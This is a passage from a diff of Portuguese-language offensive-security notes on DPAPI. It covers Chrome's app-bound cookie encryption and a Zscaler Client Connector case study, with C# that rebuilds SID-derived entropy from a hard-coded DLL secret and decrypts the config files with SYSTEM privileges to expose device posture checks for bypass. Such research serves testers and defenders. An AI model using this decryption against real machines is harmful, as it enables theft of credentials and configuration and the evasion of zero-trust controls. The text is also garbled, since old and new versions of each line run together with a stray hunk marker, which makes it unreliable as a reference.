* **Chrome 127 “App-Bound” cookie encryption** (julho de 2024) substituiu a proteção legada somente por DPAPI por uma chave adicional armazenada no **Credential Manager** do usuário. A descriptografia offline de cookies agora requer tanto o masterkey DPAPI quanto a **GCM-wrapped app-bound key**. SharpChrome v2.3 e DonPAPI 2.x são capazes de recuperar a chave extra quando executados com contexto de usuário. * **Chrome 127 “App-Bound” cookie encryption** (julho de 2024) substituiu a proteção legada apenas por DPAPI por uma chave adicional armazenada no **Credential Manager** do usuário. A descriptografia offline de cookies agora requer tanto o masterkey DPAPI quanto a **GCM-wrapped app-bound key**. SharpChrome v2.3 e DonPAPI 2.x conseguem recuperar a chave extra quando executados no contexto do usuário.
### Estudo de caso: Zscaler Client Connector – Entropia personalizada derivada do SID ### Estudo de caso: Zscaler Client Connector – Entropia customizada derivada do SID
Zscaler Client Connector armazena vários arquivos de configuração em `C:\ProgramData\Zscaler` (por exemplo `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). Cada arquivo é criptografado com **DPAPI (Machine scope)**, mas o fornecedor fornece **entropia personalizada** que é *calculada em tempo de execução* em vez de ser armazenada em disco. Zscaler Client Connector armazena vários arquivos de configuração em `C:\ProgramData\Zscaler` (por exemplo `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). Cada arquivo é criptografado com **DPAPI (Machine scope)**, mas o fornecedor fornece **custom entropy** que é *calculada em tempo de execução* em vez de ser armazenada no disco.
A entropia é reconstruída a partir de dois elementos: A entropia é reconstruída a partir de dois elementos:
1. Um segredo hard-coded embutido em `ZSACredentialProvider.dll`. 1. Um segredo embutido (hard-coded) dentro de `ZSACredentialProvider.dll`.
2. O **SID** da conta Windows à qual a configuração pertence. 2. O **SID** da conta Windows à qual a configuração pertence.
O algoritmo implementado pela DLL é equivalente a: O algoritmo implementado pela DLL é equivalente a:
@ -325,17 +326,17 @@ byte[] entropy = new byte[tmp.Length / 2];
for (int i = 0; i < entropy.Length; i++) for (int i = 0; i < entropy.Length; i++)
entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]); entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);
``` ```
Porque o segredo está embutido em uma DLL que pode ser lida do disco, **qualquer atacante local com direitos SYSTEM pode regenerar a entropia para qualquer SID** e descriptografar os blobs offline: Porque o segredo está embutido em uma DLL que pode ser lida a partir do disco, **qualquer atacante local com privilégios SYSTEM pode regenerar a entropy para qualquer SID** e decrypt os blobs offline:
```csharp ```csharp
byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat"); byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine); byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
Console.WriteLine(Encoding.UTF8.GetString(clear)); Console.WriteLine(Encoding.UTF8.GetString(clear));
``` ```
A decriptação revela a configuração JSON completa, incluindo cada **verificação de postura do dispositivo** e seu valor esperado — informação muito valiosa ao tentar bypasses do lado do cliente. A descriptografia revela a configuração JSON completa, incluindo cada **device posture check** e seu valor esperado – informação muito valiosa ao tentar client-side bypasses.
> DICA: os outros artefatos criptografados (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) são protegidos com DPAPI **sem** entropia (`16` zero bytes). Eles podem, portanto, ser decifrados diretamente com `ProtectedData.Unprotect` assim que privilégios SYSTEM forem obtidos. > DICA: os outros artefatos criptografados (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) são protegidos com DPAPI **sem** entropia (`16` zero bytes). Eles podem, portanto, ser descriptografados diretamente com `ProtectedData.Unprotect` assim que privilégios SYSTEM forem obtidos.
## References ## Referências
- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html) - [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)